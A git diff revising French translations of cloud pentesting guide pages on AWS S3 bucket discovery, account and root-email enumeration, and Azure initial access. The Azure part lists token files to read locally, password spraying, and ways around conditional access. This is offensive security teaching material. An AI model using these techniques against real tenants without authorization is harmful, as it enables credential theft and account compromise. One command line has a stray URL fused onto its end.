 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## The previous tool is specialized increating permutations for subdomains, lets filter that list
-### Remove lines ending with "."
+## L'outil précédent est spécialisé dans la création de permutations pour les sous-domaines, filtrons cette liste
+### Supprimer les lignes se terminant par "."
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Create list without TLD
+### Créer une liste sans TLD
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Create list without dots
+### Créer une liste sans points
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Create list without hyphens
+### Créer une liste sans tirets
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Generate the final wordlist
+## Générer la liste de mots finale
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Call s3scanner
+## Appeler s3scanner
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 

 
@@ -79,11 +79,11 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep buck
 
 Étant donné des buckets S3 ouverts, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) peut automatiquement **chercher des informations intéressantes**.
 
-### Find the Region
+### Trouver la Région
 
 Vous pouvez trouver toutes les régions prises en charge par AWS dans [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)
 
-#### By DNS
+#### Par DNS
 
 Vous pouvez obtenir la région d'un bucket avec un **`dig`** et **`nslookup`** en effectuant une **demande DNS de l'IP découverte** :
 ```bash
@@ -96,7 +96,7 @@ Non-authoritative answer:
 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
 ```
 Vérifiez que le domaine résolu contient le mot "website".\
-Vous pouvez accéder au site web statique en allant sur : `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
+Vous pouvez accéder au site web statique en allant à : `flaws.cloud.s3-website-us-west-2.amazonaws.com`\
 ou vous pouvez accéder au bucket en visitant : `flaws.cloud.s3-us-west-2.amazonaws.com`
 
 #### En essayant
@@ -105,7 +105,7 @@ Si vous essayez d'accéder à un bucket, mais dans le **nom de domaine vous spé
 
 ![](<../../../images/image (106).png>)
 
-### Énumérer le bucket
+### Énumération du bucket
 
 Pour tester l'ouverture du bucket, un utilisateur peut simplement entrer l'URL dans son navigateur web. Un bucket privé répondra par "Accès refusé". Un bucket public listera les 1 000 premiers objets qui ont été stockés.
 
@@ -133,7 +133,7 @@ https://{user_provided}.s3.amazonaws.com
 ```
 ### Obtenir l'ID de compte à partir d'un Bucket public
 
-Il est possible de déterminer un compte AWS en tirant parti de la nouvelle **`S3:ResourceAccount`** **Clé de Condition de Politique**. Cette condition **restreint l'accès en fonction du bucket S3** dans lequel se trouve un compte (d'autres politiques basées sur le compte restreignent en fonction du compte dans lequel se trouve le principal demandeur).\
+Il est possible de déterminer un compte AWS en tirant parti de la nouvelle **`S3:ResourceAccount`** **clé de condition de politique**. Cette condition **restreint l'accès en fonction du bucket S3** dans lequel se trouve un compte (d'autres politiques basées sur le compte restreignent en fonction du compte dans lequel se trouve le principal demandeur).\
 Et parce que la politique peut contenir des **caractères génériques**, il est possible de trouver le numéro de compte **un chiffre à la fois**.
 
 Cet outil automatise le processus :
@@ -150,7 +150,7 @@ Cette technique fonctionne également avec les URL de l'API Gateway, les URL Lam
 
 ### Confirmer qu'un bucket appartient à un compte AWS
 
-Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, si vous avez les permissions pour lister un bucket** il est possible de confirmer un accountID auquel appartient le bucket en envoyant une requête comme :
+Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, si vous avez les permissions pour lister un bucket**, il est possible de confirmer un accountID auquel le bucket appartient en envoyant une requête comme :
 ```bash
 curl -X GET "[bucketname].amazonaws.com/" \
 -H "x-amz-expected-bucket-owner: [correct-account-id]"
@@ -160,9 +160,9 @@ curl -X GET "[bucketname].amazonaws.com/" \
 ```
 Si l'erreur est un "Accès refusé", cela signifie que l'ID de compte était incorrect.
 
-### Utilisation des e-mails comme énumération de compte root
+### Utilisation des e-mails pour l'énumération du compte root
 
-Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), il est possible de vérifier si une adresse e-mail est liée à un compte AWS en **essayant d'accorder des permissions à un e-mail** sur un bucket S3 via des ACL. Si cela ne déclenche pas d'erreur, cela signifie que l'e-mail est un utilisateur root de certains comptes AWS :
+Comme expliqué dans [**cet article de blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), il est possible de vérifier si une adresse e-mail est liée à un compte AWS en **essayant d'accorder des permissions à une e-mail** sur un bucket S3 via des ACL. Si cela ne déclenche pas d'erreur, cela signifie que l'e-mail est un utilisateur root d'un compte AWS :
 ```python
 s3_client.put_bucket_acl(
 Bucket=bucket_name,
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
index 167f2c654..4d77cf612 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
@@ -1,4 +1,4 @@
-# AWS - SQS Unauthenticated Enum
+# AWS - SQS Enum non authentifié
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index fd81be033..d7305fb5f 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -20,17 +20,17 @@ Du point de vue d'une Red Team, la **première étape pour compromettre un envir
 - Vulnérabilités dans les applications hébergées sur Azure
 - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) avec accès au point de terminaison des métadonnées
 - **Lecture de fichiers locaux**
-- `/home/NOM_UTILISATEUR/.azure`
-- `C:\Users\NOM_UTILISATEUR\.azure`
+- `/home/USERNAME/.azure`
+- `C:\Users\USERNAME\.azure`
 - Le fichier **`accessTokens.json`** dans `az cli` avant 2.30 - Jan2022 - stockait les **jetons d'accès en texte clair**
 - Le fichier **`azureProfile.json`** contient des **informations** sur l'utilisateur connecté.
 - **`az logout`** supprime le jeton.
 - Les anciennes versions de **`Az PowerShell`** stockaient les **jetons d'accès** en **texte clair** dans **`TokenCache.dat`**. Il stocke également le **ServicePrincipalSecret** en **texte clair** dans **`AzureRmContext.json`**. La cmdlet **`Save-AzContext`** peut être utilisée pour **stocker** des **jetons**.\
 Utilisez `Disconnect-AzAccount` pour les supprimer.
 - Tiers **violés**
-- **Employé** interne
+- Employé **interne**
 - [**Phishing commun**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (identifiants ou application Oauth)
-- [Phishing par code de dispositif](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
+- [Phishing par code de dispositif d'authentification](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
 - [**Password Spraying** Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
 
 Même si vous **n'avez compromis aucun utilisateur** à l'intérieur du locataire Azure que vous attaquez, vous pouvez **rassembler des informations** à partir de celui-ci :
@@ -63,7 +63,7 @@ Dans les cas où vous avez des identifiants valides mais que vous ne pouvez pas
 
 - **Liste blanche d'IP** -- Vous devez compromettre une IP valide
 - **Restrictions géographiques** -- Trouvez où vit l'utilisateur ou où se trouvent les bureaux de l'entreprise et obtenez une IP de la même ville (ou pays au moins)
-- **Navigateur** -- Peut-être qu'un navigateur d'un certain OS (Windows, Linux, Mac, Android, iOS) est autorisé. Découvrez quel OS la victime/l'entreprise utilise.
+- **Navigateur** -- Peut-être qu'un seul navigateur d'un certain OS (Windows, Linux, Mac, Android, iOS) est autorisé. Découvrez quel OS la victime/l'entreprise utilise.
 - Vous pouvez également essayer de **compromettre les identifiants de Service Principal** car ils sont généralement moins limités et leur connexion est moins examinée
 
 Après avoir contourné cela, vous pourriez être en mesure de revenir à votre configuration initiale et vous aurez toujours accès.
@@ -120,7 +120,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
 {{#endtabs }}
 
 > [!CAUTION]
-> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** d'Az PowerShell car elle vous permet de **savoir quels ressources votre utilisateur actuel peut voir**.
+> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** depuis Az PowerShell car elle vous permet de **savoir quels sont les ressources auxquelles votre utilisateur actuel a accès**.
 >
 > Vous pouvez obtenir les mêmes informations dans la **console web** en allant sur [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou en recherchant "Toutes les ressources"
 
@@ -139,7 +139,7 @@ az-services/az-azuread.md
 
 ## App Service SCM
 
-Console Kudu pour se connecter au 'conteneur' de l'App Service.
+Console Kudu pour se connecter au 'conteneur' du Service d'Application.
 
 ## Webshell
 
@@ -147,7 +147,7 @@ Utilisez portal.azure.com et sélectionnez le shell, ou utilisez shell.azure.com
 
 ## Azure DevOps
 
-Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les groupes de variables sont utilisés pour stocker des valeurs de variables et des secrets.
+Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les Groupes de Variables sont utilisés pour stocker des valeurs de variables et des secrets.
 
 ## Debug | MitM az cli
 
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md
index 5c60cba5e..ac8b57bca 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -2,17 +2,17 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Hiérarchie de l'organisation
+## Hiérarchie Organisationnelle
 
 
https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

 
-### Groupes de gestion
+### Groupes de Gestion
 
 - Il peut contenir **d'autres groupes de gestion ou abonnements**.
 - Cela permet d'**appliquer des contrôles de gouvernance** tels que RBAC et Azure Policy une fois au niveau du groupe de gestion et de les **hériter** par tous les abonnements dans le groupe.
 - **10 000 groupes de gestion** peuvent être pris en charge dans un seul annuaire.
-- Un arbre de groupes de gestion peut supporter **jusqu'à six niveaux de profondeur**. Cette limite n'inclut pas le niveau racine ou le niveau d'abonnement.
-- Chaque groupe de gestion et abonnement peut supporter **uniquement un parent**.
+- Un arbre de groupes de gestion peut prendre en charge **jusqu'à six niveaux de profondeur**. Cette limite n'inclut pas le niveau racine ou le niveau d'abonnement.
+- Chaque groupe de gestion et abonnement peut prendre en charge **un seul parent**.
 - Même si plusieurs groupes de gestion peuvent être créés, **il n'y a qu'un seul groupe de gestion racine**.
 - Le groupe de gestion racine **contient** tous les **autres groupes de gestion et abonnements** et **ne peut pas être déplacé ou supprimé**.
 - Tous les abonnements au sein d'un seul groupe de gestion doivent faire confiance au **même locataire Entra ID.**
@@ -21,20 +21,20 @@
 
 ### Abonnements Azure
 
-- C'est un autre **conteneur logique où les ressources** (VM, DB…) peuvent être exécutées et seront facturées.
+- C'est un autre **conteneur logique où les ressources** (VMs, DBs…) peuvent être exécutées et seront facturées.
 - Son **parent** est toujours un **groupe de gestion** (et cela peut être le groupe de gestion racine) car les abonnements ne peuvent pas contenir d'autres abonnements.
 - Il **fait confiance à un seul annuaire Entra ID**
 - Les **permissions** appliquées au niveau de l'abonnement (ou à l'un de ses parents) sont **héritées** par toutes les ressources à l'intérieur de l'abonnement.
 
-### Groupes de ressources
+### Groupes de Ressources
 
-[Des docs :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un groupe de ressources est un **conteneur** qui contient des **ressources liées** pour une solution Azure. Le groupe de ressources peut inclure toutes les ressources pour la solution, ou seulement celles **que vous souhaitez gérer en tant que groupe**. En général, ajoutez des **ressources** qui partagent le **même cycle de vie** au même groupe de ressources afin que vous puissiez facilement les déployer, les mettre à jour et les supprimer en tant que groupe.
+[Dans la documentation :](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un groupe de ressources est un **conteneur** qui contient des **ressources liées** pour une solution Azure. Le groupe de ressources peut inclure toutes les ressources pour la solution, ou seulement celles **que vous souhaitez gérer en tant que groupe**. En général, ajoutez des **ressources** qui partagent le **même cycle de vie** au même groupe de ressources afin que vous puissiez facilement les déployer, les mettre à jour et les supprimer en tant que groupe.
 
 Toutes les **ressources** doivent être **dans un groupe de ressources** et ne peuvent appartenir qu'à un seul groupe et si un groupe de ressources est supprimé, toutes les ressources à l'intérieur sont également supprimées.
 
 
https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

 
-### Identifiants de ressources Azure
+### Identifiants de Ressources Azure
 
 Chaque ressource dans Azure a un identifiant de ressource Azure qui l'identifie.
 
@@ -46,7 +46,7 @@ Pour une machine virtuelle nommée myVM dans un groupe de ressources `myResource
 
 - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`
 
-## Azure vs Entra ID vs Services de domaine Azure AD
+## Azure vs Entra ID vs Services de Domaine Azure AD
 
 ### Azure
 
@@ -56,9 +56,9 @@ Azure est la **plateforme de cloud computing complète de Microsoft, offrant une
 
 Entra ID est un service de **gestion des identités et des accès basé sur le cloud** conçu pour gérer l'authentification, l'autorisation et le contrôle d'accès des utilisateurs. Il permet un accès sécurisé aux services Microsoft tels qu'Office 365, Azure et de nombreuses applications SaaS tierces. Avec des fonctionnalités telles que l'authentification unique (SSO), l'authentification multi-facteurs (MFA) et des politiques d'accès conditionnel, entre autres.
 
-### Services de domaine Entra (anciennement Azure AD DS)
+### Services de Domaine Entra (anciennement Azure AD DS)
 
-Les services de domaine Entra étendent les capacités d'Entra ID en offrant des **services de domaine gérés compatibles avec les environnements traditionnels de Windows Active Directory**. Il prend en charge des protocoles hérités tels que LDAP, Kerberos et NTLM, permettant aux organisations de migrer ou d'exécuter des applications plus anciennes dans le cloud sans déployer de contrôleurs de domaine sur site. Ce service prend également en charge les stratégies de groupe pour une gestion centralisée, ce qui le rend adapté aux scénarios où des charges de travail héritées ou basées sur AD doivent coexister avec des environnements cloud modernes.
+Les Services de Domaine Entra étendent les capacités d'Entra ID en offrant des **services de domaine gérés compatibles avec les environnements traditionnels de Windows Active Directory**. Il prend en charge des protocoles hérités tels que LDAP, Kerberos et NTLM, permettant aux organisations de migrer ou d'exécuter des applications plus anciennes dans le cloud sans déployer de contrôleurs de domaine sur site. Ce service prend également en charge les stratégies de groupe pour une gestion centralisée, ce qui le rend adapté aux scénarios où des charges de travail héritées ou basées sur AD doivent coexister avec des environnements cloud modernes.
 
 ## Principaux Entra ID
 
@@ -75,9 +75,9 @@ Les services de domaine Entra étendent les capacités d'Entra ID en offrant des
 - Indiquer les propriétés
 - Le type d'utilisateur par défaut est “**Invité**”
 
-### Permissions par défaut des membres et invités
+### Permissions par défaut des Membres & Invités
 
-Vous pouvez les consulter sur [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) mais parmi d'autres actions, un membre pourra :
+Vous pouvez les vérifier dans [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) mais parmi d'autres actions, un membre pourra :
 
 - Lire tous les utilisateurs, groupes, applications, appareils, rôles, abonnements et leurs propriétés publiques
 - Inviter des invités (_peut être désactivé_)
@@ -90,7 +90,7 @@ Vous pouvez les consulter sur [https://learn.microsoft.com/en-us/entra/fundament
 > [!NOTE]
 > N'oubliez pas que pour énumérer les ressources Azure, l'utilisateur a besoin d'une attribution explicite de la permission.
 
-### Permissions configurables par défaut des utilisateurs
+### Permissions configurables par défaut des Utilisateurs
 
 - **Membres (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
 - Enregistrer des applications : Par défaut **Oui**
@@ -98,21 +98,21 @@ Vous pouvez les consulter sur [https://learn.microsoft.com/en-us/entra/fundament
 - Créer des groupes de sécurité : Par défaut **Oui**
 - Restreindre l'accès au portail d'administration Microsoft Entra : Par défaut **Non**
 - Cela ne restreint pas l'accès API au portail (uniquement web)
-- Autoriser les utilisateurs à connecter un compte de travail ou scolaire avec LinkedIn : Par défaut **Oui**
+- Autoriser les utilisateurs à connecter leur compte de travail ou scolaire avec LinkedIn : Par défaut **Oui**
 - Afficher garder l'utilisateur connecté : Par défaut **Oui**
 - Restreindre les utilisateurs de récupérer la ou les clés BitLocker pour leurs appareils possédés : Par défaut Non (vérifiez dans les paramètres de l'appareil)
 - Lire d'autres utilisateurs : Par défaut **Oui** (via Microsoft Graph)
 - **Invités**
 - **Restrictions d'accès des utilisateurs invités**
-- **Les utilisateurs invités ont le même accès que les membres** accorde par défaut toutes les permissions des utilisateurs membres aux utilisateurs invités.
+- **Les utilisateurs invités ont le même accès que les membres** accorde toutes les permissions des utilisateurs membres aux utilisateurs invités par défaut.
 - **Les utilisateurs invités ont un accès limité aux propriétés et adhésions des objets d'annuaire (par défaut)** restreint l'accès des invités uniquement à leur propre profil utilisateur par défaut. L'accès aux informations d'autres utilisateurs et groupes n'est plus autorisé.
-- **L'accès des utilisateurs invités est restreint aux propriétés et adhésions de leurs propres objets d'annuaire** est la plus restrictive.
+- **L'accès des utilisateurs invités est restreint aux propriétés et adhésions de leurs propres objets d'annuaire** est le plus restrictif.
 - **Les invités peuvent inviter**
-- **Quiconque dans l'organisation peut inviter des utilisateurs invités, y compris des invités et des non-administrateurs (le plus inclusif) - Par défaut**
+- **Tout le monde dans l'organisation peut inviter des utilisateurs invités, y compris des invités et des non-administrateurs (le plus inclusif) - Par défaut**
 - **Les utilisateurs membres et les utilisateurs assignés à des rôles administratifs spécifiques peuvent inviter des utilisateurs invités, y compris des invités avec des permissions de membre**
 - **Seuls les utilisateurs assignés à des rôles administratifs spécifiques peuvent inviter des utilisateurs invités**
-- **Personne dans l'organisation ne peut inviter des utilisateurs invités, y compris des administrateurs (le plus restrictif)**
-- **Les utilisateurs externes peuvent partir** : Par défaut **Vrai**
+- **Personne dans l'organisation ne peut inviter des utilisateurs invités, y compris les administrateurs (le plus restrictif)**
+- **Les utilisateurs externes peuvent quitter** : Par défaut **Vrai**
 - Autoriser les utilisateurs externes à quitter l'organisation
 
 > [!TIP]
@@ -122,7 +122,7 @@ Vous pouvez les consulter sur [https://learn.microsoft.com/en-us/entra/fundament
 
 Il existe **2 types de groupes** :
 
-- **Sécurité** : Ce type de groupe est utilisé pour donner aux membres accès aux applications, ressources et attribuer des licences. Les utilisateurs, appareils, principaux de service et autres groupes peuvent être membres.
+- **Sécurité** : Ce type de groupe est utilisé pour donner aux membres accès aux applications, ressources et assigner des licences. Les utilisateurs, appareils, principaux de service et autres groupes peuvent être membres.
 - **Microsoft 365** : Ce type de groupe est utilisé pour la collaboration, donnant aux membres accès à une boîte aux lettres partagée, un calendrier, des fichiers, un site SharePoint, etc. Les membres du groupe ne peuvent être que des utilisateurs.
 - Cela aura une **adresse email** avec le domaine du locataire EntraID.
 
@@ -131,31 +131,31 @@ Il existe **2 types d'adhésions** :
 - **Assigné** : Permet d'ajouter manuellement des membres spécifiques à un groupe.
 - **Adhésion dynamique** : Gère automatiquement l'adhésion en utilisant des règles, mettant à jour l'inclusion du groupe lorsque les attributs des membres changent.
 
-### **Principaux de service**
+### **Principaux de Service**
 
-Un **Principal de service** est une **identité** créée pour **utiliser** avec des **applications**, des services hébergés et des outils automatisés pour accéder aux ressources Azure. Cet accès est **restreint par les rôles assignés** au principal de service, vous donnant le contrôle sur **quelles ressources peuvent être accessibles** et à quel niveau. Pour des raisons de sécurité, il est toujours recommandé d'**utiliser des principaux de service avec des outils automatisés** plutôt que de leur permettre de se connecter avec une identité utilisateur.
+Un **Principal de Service** est une **identité** créée pour **être utilisée** avec des **applications**, des services hébergés et des outils automatisés pour accéder aux ressources Azure. Cet accès est **restreint par les rôles assignés** au principal de service, vous donnant le contrôle sur **quelles ressources peuvent être accessibles** et à quel niveau. Pour des raisons de sécurité, il est toujours recommandé d'**utiliser des principaux de service avec des outils automatisés** plutôt que de leur permettre de se connecter avec une identité utilisateur.
 
-Il est possible de **se connecter directement en tant que principal de service** en lui générant un **secret** (mot de passe), un **certificat**, ou en accordant un accès **fédéré** à des plateformes tierces (par exemple, Github Actions) à son sujet.
+Il est possible de **se connecter directement en tant que principal de service** en lui générant un **secret** (mot de passe), un **certificat**, ou en accordant un accès **fédéré** à des plateformes tierces (par exemple, Github Actions) à travers lui.
 
 - Si vous choisissez l'authentification par **mot de passe** (par défaut), **enregistrez le mot de passe généré** car vous ne pourrez plus y accéder.
 - Si vous choisissez l'authentification par certificat, assurez-vous que l'**application aura accès à la clé privée**.
 
-### Enregistrements d'applications
+### Enregistrements d'Applications
 
-Un **Enregistrement d'application** est une configuration qui permet à une application de s'intégrer avec Entra ID et d'effectuer des actions.
+Un **Enregistrement d'Application** est une configuration qui permet à une application de s'intégrer avec Entra ID et d'effectuer des actions.
 
-#### Composants clés :
+#### Composants Clés :
 
-1. **ID d'application (Client ID)** : Un identifiant unique pour votre application dans Azure AD.
-2. **URI de redirection** : URLs où Azure AD envoie les réponses d'authentification.
-3. **Certificats, Secrets & Identifiants fédérés** : Il est possible de générer un secret ou un certificat pour se connecter en tant que principal de service de l'application, ou d'accorder un accès fédéré à celle-ci (par exemple, Github Actions). 
+1. **ID d'Application (Client ID)** : Un identifiant unique pour votre application dans Azure AD.
+2. **URIs de Redirection** : URLs où Azure AD envoie les réponses d'authentification.
+3. **Certificats, Secrets & Identifiants Fédérés** : Il est possible de générer un secret ou un certificat pour se connecter en tant que principal de service de l'application, ou pour accorder un accès fédéré à celle-ci (par exemple, Github Actions). 
 1. Si un **certificat** ou un **secret** est généré, il est possible pour une personne de **se connecter en tant que principal de service** avec des outils CLI en connaissant l'**ID d'application**, le **secret** ou le **certificat** et le **locataire** (domaine ou ID).
-4. **Permissions API** : Spécifie quelles ressources ou API l'application peut accéder.
-5. **Paramètres d'authentification** : Définit les flux d'authentification pris en charge par l'application (par exemple, OAuth2, OpenID Connect).
-6. **Principal de service** : Un principal de service est créé lorsqu'une application est créée (si cela est fait depuis la console web) ou lorsqu'elle est installée dans un nouveau locataire.
+4. **Permissions API** : Spécifie quelles ressources ou APIs l'application peut accéder.
+5. **Paramètres d'Authentification** : Définit les flux d'authentification pris en charge par l'application (par exemple, OAuth2, OpenID Connect).
+6. **Principal de Service** : Un principal de service est créé lorsqu'une application est créée (si cela est fait depuis la console web) ou lorsqu'elle est installée dans un nouveau locataire.
 1. Le **principal de service** obtiendra toutes les permissions demandées avec lesquelles il a été configuré.
 
-### Permissions de consentement par défaut
+### Permissions de Consentement par Défaut
 
 **Consentement des utilisateurs pour les applications**
 
@@ -163,7 +163,7 @@ Un **Enregistrement d'application** est une configuration qui permet à une appl
 - Un administrateur sera requis pour toutes les applications.
 - **Autoriser le consentement des utilisateurs pour les applications de publishers vérifiés, pour des permissions sélectionnées (Recommandé)**
 - Tous les utilisateurs peuvent consentir pour des permissions classées comme "faible impact", pour des applications de publishers vérifiés ou des applications enregistrées dans cette organisation.
-- **Permissions par défaut à faible impact** (bien que vous deviez accepter de les ajouter comme faibles) :
+- **Permissions à faible impact par défaut** (bien que vous deviez accepter de les ajouter comme faibles) :
 - User.Read - se connecter et lire le profil utilisateur
 - offline_access - maintenir l'accès aux données auxquelles les utilisateurs ont donné accès
 - openid - connecter les utilisateurs
@@ -175,27 +175,27 @@ Un **Enregistrement d'application** est une configuration qui permet à une appl
 **Demandes de consentement administratives** : Par défaut **Non**
 
 - Les utilisateurs peuvent demander le consentement administratif pour des applications auxquelles ils ne peuvent pas consentir
-- Si **Oui** : Il est possible d'indiquer les utilisateurs, groupes et rôles qui peuvent consentir aux demandes
-- Configurez également si les utilisateurs recevront des notifications par email et des rappels d'expiration 
+- Si **Oui** : Il est possible d'indiquer les Utilisateurs, Groupes et Rôles qui peuvent consentir aux demandes
+- Configurer également si les utilisateurs recevront des notifications par email et des rappels d'expiration 
 
-### **Identité gérée (Métadonnées)**
+### **Identité Gérée (Métadonnées)**
 
-Les identités gérées dans Azure Active Directory offrent une solution pour **gérer automatiquement l'identité** des applications. Ces identités sont utilisées par les applications dans le but de **se connecter** aux **ressources** compatibles avec l'authentification Azure Active Directory (**Azure AD**). Cela permet de **supprimer le besoin de coder en dur les identifiants cloud** dans le code, car l'application pourra contacter le **service de métadonnées** pour obtenir un jeton valide afin de **réaliser des actions** en tant qu'identité gérée indiquée dans Azure.
+Les identités gérées dans Azure Active Directory offrent une solution pour **gérer automatiquement l'identité** des applications. Ces identités sont utilisées par les applications dans le but de **se connecter** aux **ressources** compatibles avec l'authentification Azure Active Directory (**Azure AD**). Cela permet de **supprimer le besoin de coder en dur les identifiants cloud** dans le code car l'application pourra contacter le **service de métadonnées** pour obtenir un jeton valide afin de **réaliser des actions** en tant qu'identité gérée indiquée dans Azure.
 
 Il existe deux types d'identités gérées :
 
-- **Assigné au système**. Certains services Azure vous permettent d'**activer une identité gérée directement sur une instance de service**. Lorsque vous activez une identité gérée assignée au système, un **principal de service** est créé dans le locataire Entra ID de confiance par l'abonnement où la ressource est située. Lorsque la **ressource** est **supprimée**, Azure supprime automatiquement **l'identité** pour vous.
-- **Assigné par l'utilisateur**. Il est également possible pour les utilisateurs de générer des identités gérées. Celles-ci sont créées à l'intérieur d'un groupe de ressources dans un abonnement et un principal de service sera créé dans l'EntraID de confiance par l'abonnement. Ensuite, vous pouvez assigner l'identité gérée à une ou **plusieurs instances** d'un service Azure (plusieurs ressources). Pour les identités gérées assignées par l'utilisateur, **l'identité est gérée séparément des ressources qui l'utilisent**.
+- **Assignée au système**. Certains services Azure vous permettent d'**activer une identité gérée directement sur une instance de service**. Lorsque vous activez une identité gérée assignée au système, un **principal de service** est créé dans le locataire Entra ID de confiance par l'abonnement où la ressource est située. Lorsque la **ressource** est **supprimée**, Azure supprime automatiquement **l'identité** pour vous.
+- **Assignée par l'utilisateur**. Il est également possible pour les utilisateurs de générer des identités gérées. Celles-ci sont créées à l'intérieur d'un groupe de ressources dans un abonnement et un principal de service sera créé dans l'EntraID de confiance par l'abonnement. Ensuite, vous pouvez assigner l'identité gérée à une ou **plusieurs instances** d'un service Azure (plusieurs ressources). Pour les identités gérées assignées par l'utilisateur, l'**identité est gérée séparément des ressources qui l'utilisent**.
 
-Les identités gérées **ne génèrent pas de credentials éternels** (comme des mots de passe ou des certificats) pour accéder en tant que principal de service qui y est attaché.
+Les Identités Gérées **ne génèrent pas de credentials éternels** (comme des mots de passe ou des certificats) pour accéder en tant que principal de service qui y est attaché.
 
-### Applications d'entreprise
+### Applications d'Entreprise
 
-C'est juste une **table dans Azure pour filtrer les principaux de service** et vérifier les applications qui leur ont été assignées.
+C'est juste une **table dans Azure pour filtrer les principaux de service** et vérifier les applications qui ont été assignées.
 
-**Ce n'est pas un autre type d'“application”**, il n'y a aucun objet dans Azure qui soit une “Application d'entreprise”, c'est juste une abstraction pour vérifier les Principaux de service, les Enregistrements d'applications et les identités gérées.
+**Ce n'est pas un autre type d'“application”**, il n'y a aucun objet dans Azure qui est une “Application d'Entreprise”, c'est juste une abstraction pour vérifier les Principaux de Service, les Enregistrements d'Applications et les Identités Gérées.
 
-### Unités administratives
+### Unités Administratives
 
 Les unités administratives permettent de **donner des permissions d'un rôle sur une portion spécifique d'une organisation**.
 
@@ -203,54 +203,54 @@ Exemple :
 
 - Scénario : Une entreprise souhaite que les administrateurs informatiques régionaux gèrent uniquement les utilisateurs de leur propre région.
 - Mise en œuvre :
-- Créer des unités administratives pour chaque région (par exemple, "AU Amérique du Nord", "AU Europe").
+- Créer des Unités Administratives pour chaque région (par exemple, "AU Amérique du Nord", "AU Europe").
 - Peupler les AU avec des utilisateurs de leurs régions respectives.
 - Les AU peuvent **contenir des utilisateurs, groupes ou appareils**
 - Les AU prennent en charge **les adhésions dynamiques**
 - Les AU **ne peuvent pas contenir d'AU**
-- Attribuer des rôles administratifs :
-- Accorder le rôle "Administrateur des utilisateurs" au personnel informatique régional, limité à l'AU de leur région.
+- Assigner des Rôles Administrateurs :
+- Accorder le rôle "Administrateur des Utilisateurs" au personnel informatique régional, limité à l'AU de leur région.
 - Résultat : Les administrateurs informatiques régionaux peuvent gérer les comptes utilisateurs au sein de leur région sans affecter d'autres régions.
 
 ### Rôles Entra ID
 
